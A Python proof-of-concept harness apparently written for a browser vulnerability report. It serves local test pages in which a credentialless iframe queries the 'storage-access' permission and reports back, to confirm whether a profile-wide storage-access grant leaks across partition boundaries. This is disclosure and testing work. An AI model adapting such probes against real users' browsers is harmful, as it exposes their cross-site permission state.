#!/usr/bin/env python3
"""
HTTPS server for the storage-access credentialless leak POC.

Serves the same content for both https://top.test:8443 and
https://embed.test:8443 (Chrome is launched with
--host-resolver-rules="MAP *.test 127.0.0.1").

Iframes report the result of
  navigator.permissions.query({name:'storage-access'})
back to /report. The server prints each report and decides whether the
vulnerability reproduced.
"""

import http.server
import os
import ssl
import subprocess
import sys
import threading
import urllib.parse

HERE = os.path.dirname(os.path.abspath(__file__))
PORT = 8443
CERT = os.path.join(HERE, "cert.pem")
KEY = os.path.join(HERE, "key.pem")

REPORTS = {}
DONE = threading.Event()


def ensure_cert():
    if os.path.exists(CERT) and os.path.exists(KEY):
        return
    subprocess.check_call([
        "openssl", "req", "-x509", "-newkey", "rsa:2048",
        "-keyout", KEY, "-out", CERT,
        "-days", "3650", "-nodes",
        "-subj", "/CN=test",
        "-addext", "subjectAltName=DNS:top.test,DNS:embed.test",
    ])


TOP_HTML = b"""<!doctype html>
<html><head><title>top</title></head><body>
<h1>top.test</h1>
<!-- Control: ordinary cross-site iframe -->
<iframe id="ctrl" src="https://embed.test:8443/embed.html#normal"
        width=400 height=120></iframe>
<!-- Victim: credentialless cross-site iframe (nonce-partitioned) -->
<iframe id="cred" credentialless src="https://embed.test:8443/embed.html#credentialless"
        width=400 height=120></iframe>
</body></html>
"""

EMBED_HTML = b"""<!doctype html>
<html><body>
<pre id=o></pre>
<script>
(async () => {
  const tag = location.hash.slice(1) || 'unknown';
  const cred = window.credentialless;  // true inside a credentialless iframe
  let state = 'error', err = '';
  try {
    const st = await navigator.permissions.query({name: 'storage-access'});
    state = st.state;
  } catch (e) {
    err = String(e);
  }
  const msg = `[embed.test ${tag}] window.credentialless=${cred} ` +
              `permissions.query(storage-access).state=${state} ${err}`;
  document.getElementById('o').textContent = msg;
  console.error(msg);
  // Report back to the server hosting top.test so the harness can observe it.
  fetch('https://top.test:8443/report?' + new URLSearchParams({
    tag: tag, cred: String(cred), state: state, err: err
  }), {mode: 'no-cors'}).catch(()=>{});
})();
</script>
</body></html>
"""


class Handler(http.server.BaseHTTPRequestHandler):
    def _send(self, code, body, ctype="text/html"):
        self.send_response(code)
        self.send_header("Content-Type", ctype)
        self.send_header("Content-Length", str(len(body)))
        self.send_header("Cache-Control", "no-store")
        self.end_headers()
        self.wfile.write(body)

    def do_GET(self):
        u = urllib.parse.urlparse(self.path)
        if u.path == "/top.html":
            self._send(200, TOP_HTML)
        elif u.path == "/embed.html":
            self._send(200, EMBED_HTML)
        elif u.path == "/report":
            q = urllib.parse.parse_qs(u.query)
            tag = q.get("tag", ["?"])[0]
            cred = q.get("cred", ["?"])[0]
            state = q.get("state", ["?"])[0]
            line = (f"[REPORT] tag={tag} window.credentialless={cred} "
                    f"storage-access state={state}")
            print(line, flush=True)
            REPORTS[tag] = {"cred": cred, "state": state}
            if "normal" in REPORTS and "credentialless" in REPORTS:
                DONE.set()
            self._send(200, b"ok", "text/plain")
        else:
            self._send(404, b"not found", "text/plain")

    def log_message(self, fmt, *args):
        pass  # quiet


def main():
    ensure_cert()
    httpd = http.server.ThreadingHTTPServer(("0.0.0.0", PORT), Handler)
    ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
    ctx.load_cert_chain(CERT, KEY)
    httpd.socket = ctx.wrap_socket(httpd.socket, server_side=True)
    print(f"[server] listening on https://0.0.0.0:{PORT}", flush=True)

    t = threading.Thread(target=httpd.serve_forever, daemon=True)
    t.start()

    DONE.wait(timeout=60)
    httpd.shutdown()

    print("\n========== RESULTS ==========", flush=True)
    for tag, r in REPORTS.items():
        print(f"  {tag:14s} window.credentialless={r['cred']:5s} "
              f"state={r['state']}", flush=True)

    c = REPORTS.get("credentialless")
    if c and c["cred"] == "true" and c["state"] == "granted":
        print("\n[+] VULNERABILITY CONFIRMED:", flush=True)
        print("    The credentialless (nonce-partitioned) iframe observed "
              "state='granted' for", flush=True)
        print("    navigator.permissions.query({name:'storage-access'}), "
              "leaking the profile-wide", flush=True)
        print("    STORAGE_ACCESS(embed.test, top.test) grant across the "
              "partition boundary.", flush=True)
        print("    Expected per credentialless threat model: 'prompt'.",
              flush=True)
        sys.exit(0)
    elif c and c["cred"] == "true":
        print(f"\n[-] Credentialless iframe observed state="
              f"'{c['state']}' (expected 'granted' to reproduce).", flush=True)
        sys.exit(1)
    else:
        print("\n[-] Did not receive a credentialless-iframe report; "
              "the iframe may not have been treated as credentialless.",
              flush=True)
        sys.exit(2)


if __name__ == "__main__":
    main()